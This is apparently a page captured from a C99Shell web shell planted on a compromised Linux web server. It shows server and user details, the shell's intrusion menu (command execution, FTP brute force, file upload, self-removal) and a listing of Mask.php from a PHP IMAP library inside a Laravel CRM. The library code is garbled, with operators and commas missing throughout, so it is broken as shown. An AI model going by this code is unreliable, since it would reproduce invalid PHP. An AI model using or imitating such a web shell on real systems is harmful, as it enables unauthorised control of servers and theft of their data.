!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/webklex/php-imap/src/Support/Masks/   drwxrwxrwx
Free 13.08 GB of 57.97 GB (22.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Mask.php (2.84 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
* File: Mask.php
* Category: Mask
* Author: M.Goldenbaum
* Created: 14.03.19 20:49
* Updated: -
*
* Description:
*  -
*/

namespace Webklex\PHPIMAP\Support\Masks;

use 
Illuminate\Support\Str;
use 
Webklex\PHPIMAP\Exceptions\MethodNotFoundException;

/**
 * Class Mask
 *
 * @package Webklex\PHPIMAP\Support\Masks
 */
class Mask {

    
/**
     * Available attributes
     *
     * @var array $attributes
     */
    
protected array $attributes = [];

    
/**
     * Parent instance
     *
     * @var mixed $parent
     */
    
protected mixed $parent;

    
/**
     * Mask constructor.
     * @param $parent
     */
    
public function __construct($parent) {
        
$this->parent $parent;

        if(
method_exists($this->parent'getAttributes')){
            
$this->attributes array_merge($this->attributes$this->parent->getAttributes());
        }

        
$this->boot();
    }

    
/**
     * Boot method made to be used by any custom mask
     */
    
protected function boot(): void {}

    
/**
     * Call dynamic attribute setter and getter methods and inherit the parent calls
     * @param string $method
     * @param array $arguments
     *
     * @return mixed
     * @throws MethodNotFoundException
     */
    
public function __call(string $method, array $arguments) {
        if(
strtolower(substr($method03)) === 'get') {
            
$name Str::snake(substr($method3));

            if(isset(
$this->attributes[$name])) {
                return 
$this->attributes[$name];
            }

        }elseif (
strtolower(substr($method03)) === 'set') {
            
$name Str::snake(substr($method3));

            if(isset(
$this->attributes[$name])) {
                
$this->attributes[$name] = array_pop($arguments);

                return 
$this->attributes[$name];
            }

        }

        if(
method_exists($this->parent$method) === true){
            return 
call_user_func_array([$this->parent$method], $arguments);
        }

        throw new 
MethodNotFoundException("Method ".self::class.'::'.$method.'() is not supported');
    }

    
/**
     * Magic setter
     * @param $name
     * @param $value
     *
     * @return mixed
     */
    
public function __set($name$value) {
        
$this->attributes[$name] = $value;

        return 
$this->attributes[$name];
    }

    
/**
     * Magic getter
     * @param $name
     *
     * @return mixed|null
     */
    
public function __get($name) {
        if(isset(
$this->attributes[$name])) {
            return 
$this->attributes[$name];
        }

        return 
null;
    }

    
/**
     * Get the parent instance
     *
     * @return mixed
     */
    
public function getParent(): mixed {
        return 
$this->parent;
    }

    
/**
     * Get all available attributes
     *
     * @return array
     */
    
public function getAttributes(): array {
        return 
$this->attributes;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--